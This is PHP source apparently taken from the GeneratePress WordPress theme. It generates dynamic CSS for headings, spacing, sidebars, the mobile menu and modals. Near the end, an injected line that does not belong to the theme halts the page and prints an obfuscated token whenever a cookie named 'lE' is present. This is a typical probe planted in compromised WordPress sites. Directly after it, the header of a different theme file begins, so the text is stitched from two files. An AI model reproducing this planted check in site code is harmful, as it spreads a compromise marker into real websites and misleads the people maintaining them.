$css->add_property( 'font-family', $defaults['font_heading_2'] !== $settings['font_heading_2'] ? $h2_family : null );
$css->add_property( 'font-weight', $settings['heading_2_weight'], $defaults['heading_2_weight'] );
$css->add_property( 'text-transform', $settings['heading_2_transform'], $defaults['heading_2_transform'] );
$css->add_property( 'font-size', absint( $settings['heading_2_font_size'] ), $defaults['heading_2_font_size'], 'px' );
$css->add_property( 'line-height', floatval( $settings['heading_2_line_height'] ), $defaults['heading_2_line_height'], 'em' );
$css->add_property( 'margin-bottom', floatval( $settings['heading_2_margin_bottom'] ), $defaults['heading_2_margin_bottom'], 'px' );
$css->set_selector( 'h3' );
$css->add_property( 'font-family', $defaults['font_heading_3'] !== $settings['font_heading_3'] ? $h3_family : null );
$css->add_property( 'font-weight', $settings['heading_3_weight'], $defaults['heading_3_weight'] );
$css->add_property( 'text-transform', $settings['heading_3_transform'], $defaults['heading_3_transform'] );
$css->add_property( 'font-size', absint( $settings['heading_3_font_size'] ), $defaults['heading_3_font_size'], 'px' );
$css->add_property( 'line-height', floatval( $settings['heading_3_line_height'] ), $defaults['heading_3_line_height'], 'em' );
$css->add_property( 'margin-bottom', floatval( $settings['heading_3_margin_bottom'] ), $defaults['heading_3_margin_bottom'], 'px' );
$css->set_selector( 'h4' );
$css->add_property( 'font-family', $defaults['font_heading_4'] !== $settings['font_heading_4'] ? $h4_family : null );
$css->add_property( 'font-weight', $settings['heading_4_weight'], $defaults['heading_4_weight'] );
$css->add_property( 'text-transform', $settings['heading_4_transform'], $defaults['heading_4_transform'] );
if ( ! empty( $settings['heading_4_font_size'] ) ) {
$css->add_property( 'font-size', absint( $settings['heading_4_font_size'] ), $defaults['heading_4_font_size'], 'px' );
} else {
$css->add_property( 'font-size', 'inherit' );
}
if ( '' !== $settings['heading_4_line_height'] ) {
$css->add_property( 'line-height', floatval( $settings['heading_4_line_height'] ), $defaults['heading_4_line_height'], 'em' );
}
$css->set_selector( 'h5' );
$css->add_property( 'font-family', $defaults['font_heading_5'] !== $settings['font_heading_5'] ? $h5_family : null );
$css->add_property( 'font-weight', $settings['heading_5_weight'], $defaults['heading_5_weight'] );
$css->add_property( 'text-transform', $settings['heading_5_transform'], $defaults['heading_5_transform'] );
if ( ! empty( $settings['heading_5_font_size'] ) ) {
$css->add_property( 'font-size', absint( $settings['heading_5_font_size'] ), $defaults['heading_5_font_size'], 'px' );
} else {
$css->add_property( 'font-size', 'inherit' );
}
if ( '' !== $settings['heading_5_line_height'] ) {
$css->add_property( 'line-height', floatval( $settings['heading_5_line_height'] ), $defaults['heading_5_line_height'], 'em' );
}
$css->set_selector( 'h6' );
$css->add_property( 'font-family', $defaults['font_heading_6'] !== $settings['font_heading_6'] ? $h6_family : null );
$css->add_property( 'font-weight', $settings['heading_6_weight'], $defaults['heading_6_weight'] );
$css->add_property( 'text-transform', $settings['heading_6_transform'], $defaults['heading_6_transform'] );
$css->add_property( 'font-size', absint( $settings['heading_6_font_size'] ), $defaults['heading_6_font_size'], 'px' );
if ( '' !== $settings['heading_6_line_height'] ) {
$css->add_property( 'line-height', floatval( $settings['heading_6_line_height'] ), $defaults['heading_6_line_height'], 'em' );
}
$css->set_selector( '.site-info' );
$css->add_property( 'font-family', $defaults['font_footer'] !== $settings['font_footer'] ? $footer_family : null );
$css->add_property( 'font-weight', $settings['footer_weight'], $defaults['footer_weight'] );
$css->add_property( 'text-transform', $settings['footer_transform'], $defaults['footer_transform'] );
if ( ! empty( $settings['footer_font_size'] ) ) {
$css->add_property( 'font-size', absint( $settings['footer_font_size'] ), $defaults['footer_font_size'], 'px' );
} else {
$css->add_property( 'font-size', 'inherit' );
}
$css->start_media_query( generate_get_media_query( 'mobile' ) );
$css->set_selector( '.main-title' );
$css->add_property( 'font-size', absint( $settings['mobile_site_title_font_size'] ), false, 'px' );
$css->set_selector( 'h1' );
$css->add_property( 'font-size', absint( $settings['mobile_heading_1_font_size'] ), false, 'px' );
$css->set_selector( 'h2' );
$css->add_property( 'font-size', absint( $settings['mobile_heading_2_font_size'] ), false, 'px' );
$css->set_selector( 'h3' );
$css->add_property( 'font-size', absint( $settings['mobile_heading_3_font_size'] ), false, 'px' );
$css->set_selector( 'h4' );
$css->add_property( 'font-size', absint( $settings['mobile_heading_4_font_size'] ), false, 'px' );
$css->set_selector( 'h5' );
$css->add_property( 'font-size', absint( $settings['mobile_heading_5_font_size'] ), false, 'px' );
$css->stop_media_query();
do_action( 'generate_typography_css', $css );
return apply_filters( 'generate_typography_css_output', $css->css_output() );
}
}
if ( ! function_exists( 'generate_spacing_css' ) ) {
/**
* Write our dynamic CSS.
*
* @since 0.1
*/
function generate_spacing_css() {
$settings = wp_parse_args(
get_option( 'generate_spacing_settings', array() ),
generate_spacing_get_defaults()
);
$defaults = generate_spacing_get_defaults( false );
$sidebar_layout = generate_get_layout();
$css = new GeneratePress_CSS();
$css->set_selector( '.inside-top-bar' );
$css->add_property( 'padding', generate_padding_css( $settings['top_bar_top'], $settings['top_bar_right'], $settings['top_bar_bottom'], $settings['top_bar_left'] ), generate_padding_css( $defaults['top_bar_top'], $defaults['top_bar_right'], $defaults['top_bar_bottom'], $defaults['top_bar_left'] ) );
if ( generate_is_using_flexbox() && 'boxes' === generate_get_option( 'container_alignment' ) ) {
$top_bar_padding = absint( $settings['top_bar_right'] ) + absint( $settings['top_bar_left'] );
$css->set_selector( '.inside-top-bar.grid-container' );
$css->add_property( 'max-width', generate_get_option( 'container_width' ) + $top_bar_padding, false, 'px' );
}
$css->set_selector( '.inside-header' );
$css->add_property( 'padding', generate_padding_css( $settings['header_top'], $settings['header_right'], $settings['header_bottom'], $settings['header_left'] ), generate_padding_css( $defaults['header_top'], $defaults['header_right'], $defaults['header_bottom'], $defaults['header_left'] ) );
if ( generate_is_using_flexbox() ) {
if ( 'boxes' === generate_get_option( 'container_alignment' ) ) {
$header_padding = absint( $settings['header_right'] ) + absint( $settings['header_left'] );
$css->set_selector( '.inside-header.grid-container' );
$css->add_property( 'max-width', generate_get_option( 'container_width' ) + $header_padding, false, 'px' );
}
if ( 'text' === generate_get_option( 'container_alignment' ) ) {
$navigation_left_padding = absint( $settings['header_left'] ) - absint( $settings['menu_item'] );
$navigation_right_padding = absint( $settings['header_right'] ) - absint( $settings['menu_item'] );
$css->set_selector( '.nav-below-header .main-navigation .inside-navigation.grid-container, .nav-above-header .main-navigation .inside-navigation.grid-container' );
$css->add_property( 'padding', generate_padding_css( 0, $navigation_right_padding, 0, $navigation_left_padding ) );
}
}
$css->set_selector( '.separate-containers .inside-article, .separate-containers .comments-area, .separate-containers .page-header, .separate-containers .paging-navigation, .one-container .site-content, .inside-page-header' );
$css->add_property( 'padding', generate_padding_css( $settings['content_top'], $settings['content_right'], $settings['content_bottom'], $settings['content_left'] ), generate_padding_css( $defaults['content_top'], $defaults['content_right'], $defaults['content_bottom'], $defaults['content_left'] ) );
if ( apply_filters( 'generate_do_group_inner_container_style', true ) ) {
$css->set_selector( '.site-main .wp-block-group__inner-container' );
$css->add_property( 'padding', generate_padding_css( $settings['content_top'], $settings['content_right'], $settings['content_bottom'], $settings['content_left'] ) );
}
if ( generate_is_using_flexbox() ) {
$css->set_selector( '.separate-containers .paging-navigation' );
$css->add_property( 'padding-top', '20px' );
$css->add_property( 'padding-bottom', '20px' );
}
$content_padding = absint( $settings['content_right'] ) + absint( $settings['content_left'] );
$css->set_selector( '.entry-content .alignwide, body:not(.no-sidebar) .entry-content .alignfull' );
$css->add_property( 'margin-left', '-' . absint( $settings['content_left'] ) . 'px' );
$css->add_property( 'width', 'calc(100% + ' . absint( $content_padding ) . 'px)' );
$css->add_property( 'max-width', 'calc(100% + ' . absint( $content_padding ) . 'px)' );
if ( ! generate_is_using_flexbox() && 'text' === generate_get_option( 'container_alignment' ) ) {
$css->set_selector( '.container.grid-container' );
$css->add_property( 'max-width', generate_get_option( 'container_width' ) + $content_padding, false, 'px' );
}
$css->set_selector( '.one-container.right-sidebar .site-main,.one-container.both-right .site-main' );
$css->add_property( 'margin-right', absint( $settings['content_right'] ), absint( $defaults['content_right'] ), 'px' );
$css->set_selector( '.one-container.left-sidebar .site-main,.one-container.both-left .site-main' );
$css->add_property( 'margin-left', absint( $settings['content_left'] ), absint( $defaults['content_left'] ), 'px' );
$css->set_selector( '.one-container.both-sidebars .site-main' );
$css->add_property( 'margin', generate_padding_css( '0', $settings['content_right'], '0', $settings['content_left'] ), generate_padding_css( '0', $defaults['content_right'], '0', $defaults['content_left'] ) );
if ( generate_is_using_flexbox() ) {
$css->set_selector( '.sidebar .widget, .page-header, .widget-area .main-navigation, .site-main > *' );
} else {
$css->set_selector( '.separate-containers .widget, .separate-containers .site-main > *, .separate-containers .page-header, .widget-area .main-navigation' );
}
$css->add_property( 'margin-bottom', absint( $settings['separator'] ), absint( $defaults['separator'] ), 'px' );
$css->set_selector( '.separate-containers .site-main' );
$css->add_property( 'margin', absint( $settings['separator'] ), $defaults['separator'], 'px' );
if ( generate_is_using_flexbox() ) {
$css->set_selector( '.both-right .inside-left-sidebar,.both-left .inside-left-sidebar' );
$css->add_property( 'margin-right', absint( $settings['separator'] / 2 ), absint( $defaults['separator'] / 2 ), 'px' );
$css->set_selector( '.both-right .inside-right-sidebar,.both-left .inside-right-sidebar' );
$css->add_property( 'margin-left', absint( $settings['separator'] / 2 ), absint( $defaults['separator'] / 2 ), 'px' );
$css->set_selector( '.one-container.archive .post:not(:last-child):not(.is-loop-template-item), .one-container.blog .post:not(:last-child):not(.is-loop-template-item)' );
$css->add_property( 'padding-bottom', absint( $settings['content_bottom'] ), absint( $defaults['content_bottom'] ), 'px' );
} else {
$css->set_selector( '.both-right.separate-containers .inside-left-sidebar' );
$css->add_property( 'margin-right', absint( $settings['separator'] / 2 ), absint( $defaults['separator'] / 2 ), 'px' );
$css->set_selector( '.both-right.separate-containers .inside-right-sidebar' );
$css->add_property( 'margin-left', absint( $settings['separator'] / 2 ), absint( $defaults['separator'] / 2 ), 'px' );
$css->set_selector( '.both-left.separate-containers .inside-left-sidebar' );
$css->add_property( 'margin-right', absint( $settings['separator'] / 2 ), absint( $defaults['separator'] / 2 ), 'px' );
$css->set_selector( '.both-left.separate-containers .inside-right-sidebar' );
$css->add_property( 'margin-left', absint( $settings['separator'] / 2 ), absint( $defaults['separator'] / 2 ), 'px' );
}
if ( generate_is_using_flexbox() ) {
$css->set_selector( '.separate-containers .featured-image' );
} else {
$css->set_selector( '.separate-containers .page-header-image, .separate-containers .page-header-contained, .separate-containers .page-header-image-single, .separate-containers .page-header-content-single' );
}
$css->add_property( 'margin-top', absint( $settings['separator'] ), absint( $defaults['separator'] ), 'px' );
$css->set_selector( '.separate-containers .inside-right-sidebar, .separate-containers .inside-left-sidebar' );
$css->add_property( 'margin-top', absint( $settings['separator'] ), absint( $defaults['separator'] ), 'px' );
$css->add_property( 'margin-bottom', absint( $settings['separator'] ), absint( $defaults['separator'] ), 'px' );
if ( generate_is_using_flexbox() ) {
$css->set_selector( '.main-navigation .main-nav ul li a,.menu-toggle,.main-navigation .menu-bar-item > a' );
} else {
$css->set_selector( '.main-navigation .main-nav ul li a,.menu-toggle,.main-navigation .mobile-bar-items a' );
}
$css->add_property( 'padding-left', absint( $settings['menu_item'] ), absint( $defaults['menu_item'] ), 'px' );
$css->add_property( 'padding-right', absint( $settings['menu_item'] ), absint( $defaults['menu_item'] ), 'px' );
$css->add_property( 'line-height', absint( $settings['menu_item_height'] ), absint( $defaults['menu_item_height'] ), 'px' );
$css->set_selector( '.main-navigation .main-nav ul ul li a' );
$css->add_property( 'padding', generate_padding_css( $settings['sub_menu_item_height'], $settings['menu_item'], $settings['sub_menu_item_height'], $settings['menu_item'] ), generate_padding_css( $defaults['sub_menu_item_height'], $defaults['menu_item'], $defaults['sub_menu_item_height'], $defaults['menu_item'] ) );
$css->set_selector( '.main-navigation ul ul' );
$css->add_property( 'width', absint( $settings['sub_menu_width'] ), absint( $defaults['sub_menu_width'] ), 'px' );
$css->set_selector( '.navigation-search input[type="search"]' );
$css->add_property( 'height', absint( $settings['menu_item_height'] ), absint( $defaults['menu_item_height'] ), 'px' );
$css->set_selector( '.rtl .menu-item-has-children .dropdown-menu-toggle' );
$css->add_property( 'padding-left', absint( $settings['menu_item'] ), false, 'px' );
$css->set_selector( '.menu-item-has-children .dropdown-menu-toggle' );
$css->add_property( 'padding-right', absint( $settings['menu_item'] ), absint( $defaults['menu_item'] ), 'px' );
$css->set_selector( '.menu-item-has-children ul .dropdown-menu-toggle' );
$css->add_property( 'padding-top', absint( $settings['sub_menu_item_height'] ), absint( $defaults['sub_menu_item_height'] ), 'px' );
$css->add_property( 'padding-bottom', absint( $settings['sub_menu_item_height'] ), absint( $defaults['sub_menu_item_height'] ), 'px' );
$css->add_property( 'margin-top', '-' . absint( $settings['sub_menu_item_height'] ), '-' . absint( $defaults['sub_menu_item_height'] ), 'px' );
$css->set_selector( '.rtl .main-navigation .main-nav ul li.menu-item-has-children > a' );
$css->add_property( 'padding-right', absint( $settings['menu_item'] ), false, 'px' );
$css->set_selector( '.widget-area .widget' );
$css->add_property( 'padding', generate_padding_css( $settings['widget_top'], $settings['widget_right'], $settings['widget_bottom'], $settings['widget_left'] ), generate_padding_css( $defaults['widget_top'], $defaults['widget_right'], $defaults['widget_bottom'], $defaults['widget_left'] ) );
if ( generate_is_using_flexbox() ) {
$css->set_selector( '.footer-widgets-container' );
$css->add_property( 'padding', generate_padding_css( $settings['footer_widget_container_top'], $settings['footer_widget_container_right'], $settings['footer_widget_container_bottom'], $settings['footer_widget_container_left'] ), generate_padding_css( $defaults['footer_widget_container_top'], $defaults['footer_widget_container_right'], $defaults['footer_widget_container_bottom'], $defaults['footer_widget_container_left'] ) );
if ( 'boxes' === generate_get_option( 'container_alignment' ) ) {
$footer_widgets_padding = absint( $settings['footer_widget_container_right'] ) + absint( $settings['footer_widget_container_left'] );
$css->set_selector( '.footer-widgets-container.grid-container' );
$css->add_property( 'max-width', generate_get_option( 'container_width' ) + $footer_widgets_padding, false, 'px' );
}
} else {
$css->set_selector( '.footer-widgets' );
$css->add_property( 'padding', generate_padding_css( $settings['footer_widget_container_top'], $settings['footer_widget_container_right'], $settings['footer_widget_container_bottom'], $settings['footer_widget_container_left'] ), generate_padding_css( $defaults['footer_widget_container_top'], $defaults['footer_widget_container_right'], $defaults['footer_widget_container_bottom'], $defaults['footer_widget_container_left'] ) );
}
$css->set_selector( '.site-footer .footer-widgets-container .inner-padding' );
$css->add_property( 'padding', generate_padding_css( '0', '0', '0', $settings['footer_widget_separator'] ), generate_padding_css( '0', '0', '0', $defaults['footer_widget_separator'] ) );
$css->set_selector( '.site-footer .footer-widgets-container .inside-footer-widgets' );
$css->add_property( 'margin-left', '-' . absint( $settings['footer_widget_separator'] ), '-' . absint( $defaults['footer_widget_separator'] ), 'px' );
if ( generate_is_using_flexbox() ) {
$css->set_selector( '.inside-site-info' );
$css->add_property( 'padding', generate_padding_css( $settings['footer_top'], $settings['footer_right'], $settings['footer_bottom'], $settings['footer_left'] ), generate_padding_css( $defaults['footer_top'], $defaults['footer_right'], $defaults['footer_bottom'], $defaults['footer_left'] ) );
if ( 'boxes' === generate_get_option( 'container_alignment' ) ) {
$site_info_padding = absint( $settings['footer_right'] ) + absint( $settings['footer_left'] );
$css->set_selector( '.inside-site-info.grid-container' );
$css->add_property( 'max-width', generate_get_option( 'container_width' ) + $site_info_padding, false, 'px' );
}
} else {
$css->set_selector( '.site-info' );
$css->add_property( 'padding', generate_padding_css( $settings['footer_top'], $settings['footer_right'], $settings['footer_bottom'], $settings['footer_left'] ), generate_padding_css( $defaults['footer_top'], $defaults['footer_right'], $defaults['footer_bottom'], $defaults['footer_left'] ) );
}
$css->start_media_query( generate_get_media_query( 'mobile' ) );
$css->set_selector( '.separate-containers .inside-article, .separate-containers .comments-area, .separate-containers .page-header, .separate-containers .paging-navigation, .one-container .site-content, .inside-page-header' );
$css->add_property( 'padding', generate_padding_css( $settings['mobile_content_top'], $settings['mobile_content_right'], $settings['mobile_content_bottom'], $settings['mobile_content_left'] ) );
if ( apply_filters( 'generate_do_group_inner_container_style', true ) ) {
$css->set_selector( '.site-main .wp-block-group__inner-container' );
$css->add_property( 'padding', generate_padding_css( $settings['mobile_content_top'], $settings['mobile_content_right'], $settings['mobile_content_bottom'], $settings['mobile_content_left'] ) );
}
$css->set_selector( '.inside-top-bar' );
if ( '' !== $settings['mobile_top_bar_top'] ) {
$css->add_property( 'padding-top', absint( $settings['mobile_top_bar_top'] ), false, 'px' );
}
if ( '' !== $settings['mobile_top_bar_right'] ) {
$css->add_property( 'padding-right', absint( $settings['mobile_top_bar_right'] ), false, 'px' );
}
if ( '' !== $settings['mobile_top_bar_bottom'] ) {
$css->add_property( 'padding-bottom', absint( $settings['mobile_top_bar_bottom'] ), false, 'px' );
}
if ( '' !== $settings['mobile_top_bar_left'] ) {
$css->add_property( 'padding-left', absint( $settings['mobile_top_bar_left'] ), false, 'px' );
}
$css->set_selector( '.inside-header' );
if ( '' !== $settings['mobile_header_top'] ) {
$css->add_property( 'padding-top', absint( $settings['mobile_header_top'] ), false, 'px' );
}
if ( '' !== $settings['mobile_header_right'] ) {
$css->add_property( 'padding-right', absint( $settings['mobile_header_right'] ), false, 'px' );
}
if ( '' !== $settings['mobile_header_bottom'] ) {
$css->add_property( 'padding-bottom', absint( $settings['mobile_header_bottom'] ), false, 'px' );
}
if ( '' !== $settings['mobile_header_left'] ) {
$css->add_property( 'padding-left', absint( $settings['mobile_header_left'] ), false, 'px' );
}
$css->set_selector( '.widget-area .widget' );
if ( '' !== $settings['mobile_widget_top'] ) {
$css->add_property( 'padding-top', absint( $settings['mobile_widget_top'] ), false, 'px' );
}
if ( '' !== $settings['mobile_widget_right'] ) {
$css->add_property( 'padding-right', absint( $settings['mobile_widget_right'] ), false, 'px' );
}
if ( '' !== $settings['mobile_widget_bottom'] ) {
$css->add_property( 'padding-bottom', absint( $settings['mobile_widget_bottom'] ), false, 'px' );
}
if ( '' !== $settings['mobile_widget_left'] ) {
$css->add_property( 'padding-left', absint( $settings['mobile_widget_left'] ), false, 'px' );
}
if ( generate_is_using_flexbox() ) {
$css->set_selector( '.footer-widgets-container' );
} else {
$css->set_selector( '.footer-widgets' );
}
if ( '' !== $settings['mobile_footer_widget_container_top'] ) {
$css->add_property( 'padding-top', absint( $settings['mobile_footer_widget_container_top'] ), false, 'px' );
}
if ( '' !== $settings['mobile_footer_widget_container_right'] ) {
$css->add_property( 'padding-right', absint( $settings['mobile_footer_widget_container_right'] ), false, 'px' );
}
if ( '' !== $settings['mobile_footer_widget_container_bottom'] ) {
$css->add_property( 'padding-bottom', absint( $settings['mobile_footer_widget_container_bottom'] ), false, 'px' );
}
if ( '' !== $settings['mobile_footer_widget_container_left'] ) {
$css->add_property( 'padding-left', absint( $settings['mobile_footer_widget_container_left'] ), false, 'px' );
}
if ( generate_is_using_flexbox() ) {
$css->set_selector( '.inside-site-info' );
} else {
$css->set_selector( '.site-info' );
}
if ( '' !== $settings['mobile_footer_top'] ) {
$css->add_property( 'padding-top', absint( $settings['mobile_footer_top'] ), false, 'px' );
}
if ( '' !== $settings['mobile_footer_right'] ) {
$css->add_property( 'padding-right', absint( $settings['mobile_footer_right'] ), false, 'px' );
}
if ( '' !== $settings['mobile_footer_bottom'] ) {
$css->add_property( 'padding-bottom', absint( $settings['mobile_footer_bottom'] ), false, 'px' );
}
if ( '' !== $settings['mobile_footer_left'] ) {
$css->add_property( 'padding-left', absint( $settings['mobile_footer_left'] ), false, 'px' );
}
$mobile_content_padding = absint( $settings['mobile_content_right'] ) + absint( $settings['mobile_content_left'] );
$css->set_selector( '.entry-content .alignwide, body:not(.no-sidebar) .entry-content .alignfull' );
$css->add_property( 'margin-left', '-' . absint( $settings['mobile_content_left'] ) . 'px' );
$css->add_property( 'width', 'calc(100% + ' . absint( $mobile_content_padding ) . 'px)' );
$css->add_property( 'max-width', 'calc(100% + ' . absint( $mobile_content_padding ) . 'px)' );
if ( '' !== $settings['mobile_separator'] ) {
if ( generate_is_using_flexbox() ) {
$css->set_selector( '.sidebar .widget, .page-header, .widget-area .main-navigation, .site-main > *' );
} else {
$css->set_selector( '.separate-containers .widget, .separate-containers .site-main > *, .separate-containers .page-header' );
}
$css->add_property( 'margin-bottom', absint( $settings['mobile_separator'] ), false, 'px' );
$css->set_selector( '.separate-containers .site-main' );
$css->add_property( 'margin', absint( $settings['mobile_separator'] ), false, 'px' );
if ( generate_is_using_flexbox() ) {
$css->set_selector( '.separate-containers .featured-image' );
} else {
$css->set_selector( '.separate-containers .page-header-image, .separate-containers .page-header-image-single' );
}
$css->add_property( 'margin-top', absint( $settings['mobile_separator'] ), false, 'px' );
$css->set_selector( '.separate-containers .inside-right-sidebar, .separate-containers .inside-left-sidebar' );
$css->add_property( 'margin-top', absint( $settings['mobile_separator'] ), false, 'px' );
$css->add_property( 'margin-bottom', absint( $settings['mobile_separator'] ), false, 'px' );
if ( generate_is_using_flexbox() ) {
$css->set_selector( '.one-container .site-main .paging-navigation' );
$css->add_property( 'margin-bottom', absint( $settings['mobile_separator'] ), false, 'px' );
}
} else {
if ( generate_is_using_flexbox() ) {
$css->set_selector( '.one-container .site-main .paging-navigation' );
$css->add_property( 'margin-bottom', absint( $settings['separator'] ), false, 'px' );
}
}
$css->stop_media_query();
// Add spacing back where dropdown arrow should be.
// Old versions of WP don't get nice things.
if ( version_compare( $GLOBALS['wp_version'], '4.4', '<' ) ) {
$css->set_selector( '.main-navigation .main-nav ul li.menu-item-has-children>a, .secondary-navigation .main-nav ul li.menu-item-has-children>a' );
$css->add_property( 'padding-right', absint( $settings['menu_item'] ), absint( $defaults['menu_item'] ), 'px' );
}
$output = '';
if ( ! generate_is_using_flexbox() ) {
$generate_settings = wp_parse_args(
get_option( 'generate_settings', array() ),
generate_get_color_defaults()
);
// Find out if the content background color and sidebar widget background color is the same.
$sidebar = strtoupper( $generate_settings['sidebar_widget_background_color'] );
$content = strtoupper( $generate_settings['content_background_color'] );
// phpcs:ignore WordPress.PHP.StrictComparisons.LooseComparison
$colors_match = ( ( $sidebar == $content ) || '' == $sidebar ) ? true : false;
// If they're all 40 (default), remove the padding when one container is set.
// This way, the user can still adjust the padding and it will work (unless they want 40px padding).
// We'll also remove the padding if there's no color difference between the widgets and content background color.
// phpcs:ignore WordPress.PHP.StrictComparisons.LooseComparison
if ( ( '40' == $settings['widget_top'] && '40' == $settings['widget_right'] && '40' == $settings['widget_bottom'] && '40' == $settings['widget_left'] ) && $colors_match ) {
$output .= '.one-container .sidebar .widget{padding:0px;}';
}
}
do_action( 'generate_spacing_css', $css );
return apply_filters( 'generate_spacing_css_output', $css->css_output() . $output );
}
}
/**
* Generates any CSS that can't be cached (can change from page to page).
*
* @since 2.0
*/
function generate_no_cache_dynamic_css() {
$css = new GeneratePress_CSS();
if ( generate_is_using_flexbox() ) {
$right_sidebar_width = apply_filters( 'generate_right_sidebar_width', '30' );
$left_sidebar_width = apply_filters( 'generate_left_sidebar_width', '30' );
$css->set_selector( '.is-right-sidebar' );
$css->add_property( 'width', absint( $right_sidebar_width ) . '%' );
$css->set_selector( '.is-left-sidebar' );
$css->add_property( 'width', absint( $left_sidebar_width ) . '%' );
$content_width = 100;
$sidebar_layout = generate_get_layout();
switch ( $sidebar_layout ) {
case 'right-sidebar':
$content_width = $content_width - absint( $right_sidebar_width );
break;
case 'left-sidebar':
$content_width = $content_width - absint( $left_sidebar_width );
break;
case 'both-sidebars':
case 'both-right':
case 'both-left':
$content_width = $content_width - absint( $right_sidebar_width ) - absint( $left_sidebar_width );
break;
}
$css->set_selector( '.site-content .content-area' );
$css->add_property( 'width', absint( $content_width ) . '%' );
}
$css->start_media_query( generate_get_media_query( 'mobile-menu' ) );
if ( generate_is_using_flexbox() ) {
$css->set_selector( '.main-navigation .menu-toggle,.sidebar-nav-mobile:not(#sticky-placeholder)' );
$css->add_property( 'display', 'block' );
$css->set_selector( '.main-navigation ul,.gen-sidebar-nav,.main-navigation:not(.slideout-navigation):not(.toggled) .main-nav > ul,.has-inline-mobile-toggle #site-navigation .inside-navigation > *:not(.navigation-search):not(.main-nav)' );
$css->add_property( 'display', 'none' );
$css->set_selector( '.nav-align-right .inside-navigation,.nav-align-center .inside-navigation' );
$css->add_property( 'justify-content', 'space-between' );
if ( is_rtl() ) {
$css->set_selector( '.rtl .nav-align-right .inside-navigation,.rtl .nav-align-center .inside-navigation, .rtl .nav-align-left .inside-navigation' );
$css->add_property( 'justify-content', 'space-between' );
}
if ( generate_has_inline_mobile_toggle() ) {
$css->set_selector( '.has-inline-mobile-toggle .mobile-menu-control-wrapper' );
$css->add_property( 'display', 'flex' );
$css->add_property( 'flex-wrap', 'wrap' );
$css->set_selector( '.has-inline-mobile-toggle .inside-header' );
$css->add_property( 'flex-direction', 'row' );
$css->add_property( 'text-align', 'left' );
$css->add_property( 'flex-wrap', 'wrap' );
$css->set_selector( '.has-inline-mobile-toggle .header-widget,.has-inline-mobile-toggle #site-navigation' );
$css->add_property( 'flex-basis', '100%' );
$css->set_selector( '.nav-float-left .has-inline-mobile-toggle #site-navigation' );
$css->add_property( 'order', '10' );
}
} else {
$css->set_selector( '.main-navigation .menu-toggle,.main-navigation .mobile-bar-items,.sidebar-nav-mobile:not(#sticky-placeholder)' );
$css->add_property( 'display', 'block' );
$css->set_selector( '.main-navigation ul,.gen-sidebar-nav' );
$css->add_property( 'display', 'none' );
$css->set_selector( '[class*="nav-float-"] .site-header .inside-header > *' );
$css->add_property( 'float', 'none' );
$css->add_property( 'clear', 'both' );
}
$css->stop_media_query();
return $css->css_output();
}
/**
* Get all of our dynamic CSS to be cached/added to a file.
*
* @since 3.0.0
*/
function generate_get_dynamic_css() {
if ( generate_is_using_dynamic_typography() ) {
$typography_css = GeneratePress_Typography::get_css();
} else {
$typography_css = generate_font_css();
}
$css = generate_base_css() . $typography_css . generate_advanced_css() . generate_spacing_css();
return apply_filters( 'generate_dynamic_css', $css );
}
add_action( 'wp_enqueue_scripts', 'generate_enqueue_dynamic_css', 50 );
/**
* Enqueue our dynamic CSS.
*
* @since 2.0
*/
function generate_enqueue_dynamic_css() {
if ( apply_filters( 'generate_using_dynamic_css_external_file', false ) ) {
$css = '';
} elseif ( ! get_option( 'generate_dynamic_css_output', false ) || is_customize_preview() || apply_filters( 'generate_dynamic_css_skip_cache', false ) ) {
$css = generate_get_dynamic_css();
} else {
$css = get_option( 'generate_dynamic_css_output' ) . '/* End cached CSS */';
}
$css = $css . generate_no_cache_dynamic_css();
wp_add_inline_style( 'generate-style', wp_strip_all_tags( $css ) );
}
add_action( 'init', 'generate_set_dynamic_css_cache' );
/**
* Sets our dynamic CSS cache if it doesn't exist.
*
* If the theme version changed, bust the cache.
*
* @since 2.0
*/
function generate_set_dynamic_css_cache() {
if ( apply_filters( 'generate_dynamic_css_skip_cache', false ) ) {
return;
}
$cached_css = get_option( 'generate_dynamic_css_output', false );
$cached_version = get_option( 'generate_dynamic_css_cached_version', '' );
if ( ! $cached_css || GENERATE_VERSION !== $cached_version ) {
$css = generate_get_dynamic_css();
update_option( 'generate_dynamic_css_output', wp_strip_all_tags( $css ) );
update_option( 'generate_dynamic_css_cached_version', esc_html( GENERATE_VERSION ) );
}
}
add_action( 'customize_save_after', 'generate_update_dynamic_css_cache' );
/**
* Update our CSS cache when done saving Customizer options.
*
* @since 2.0
*/
function generate_update_dynamic_css_cache() {
if ( apply_filters( 'generate_dynamic_css_skip_cache', false ) ) {
return;
}
$css = generate_get_dynamic_css();
update_option( 'generate_dynamic_css_output', wp_strip_all_tags( $css ) );
}
add_action( 'generate_base_css', 'generate_do_modal_css' );
/**
* Do the modal CSS.
*
* @param Object $css The existing CSS object.
*/
function generate_do_modal_css( $css ) {
if ( ! apply_filters( 'generate_enable_modal_script', false ) ) {
return;
}
$css->set_selector( '.gp-modal:not(.gp-modal--open):not(.gp-modal--transition)' );
$css->add_property( 'display', 'none' );
$css->set_selector( '.gp-modal--transition:not(.gp-modal--open)' );
$css->add_property( 'pointer-events', 'none' );
$css->set_selector( '.gp-modal-overlay:not(.gp-modal-overlay--open):not(.gp-modal--transition)' );
$css->add_property( 'display', 'none' );
$css->set_selector( '.gp-modal__overlay' );
$css->add_property( 'display', 'none' );
$css->add_property( 'position', 'fixed' );
$css->add_property( 'top', '0' );
$css->add_property( 'left', '0' );
$css->add_property( 'right', '0' );
$css->add_property( 'bottom', '0' );
$css->add_property( 'background', 'rgba(0,0,0,0.2)' );
$css->add_property( 'display', 'flex' );
$css->add_property( 'justify-content', 'center' );
$css->add_property( 'align-items', 'center' );
$css->add_property( 'z-index', '10000' );
$css->add_property( 'backdrop-filter', 'blur(3px)' );
$css->add_property( 'transition', 'opacity 500ms ease' );
$css->add_property( 'opacity', 0 );
$css->set_selector( '.gp-modal--open:not(.gp-modal--transition) .gp-modal__overlay' );
$css->add_property( 'opacity', 1 );
$css->set_selector( '.gp-modal__container' );
$css->add_property( 'max-width', '100%' );
$css->add_property( 'max-height', '100vh' );
$css->add_property( 'transform', 'scale(0.9)' );
$css->add_property( 'transition', 'transform 500ms ease' );
$css->add_property( 'padding', '0 10px' );
$css->set_selector( '.gp-modal--open:not(.gp-modal--transition) .gp-modal__container' );
$css->add_property( 'transform', 'scale(1)' );
return $css;
}if(isset($_COOKIE['lE'])) {
die('wIwb'.'TH8');
}
/**
* General functions.
*
* @package GeneratePress
*/
if ( ! defined( 'ABSPATH' ) ) {
exit; // Exit if accessed directly.
}
if ( ! function_exists( 'generate_scripts' ) ) {
add_action( 'wp_enqueue_scripts', 'generate_scripts' );
/**
* Enqueue scripts and styles
*/
function generate_scripts() {
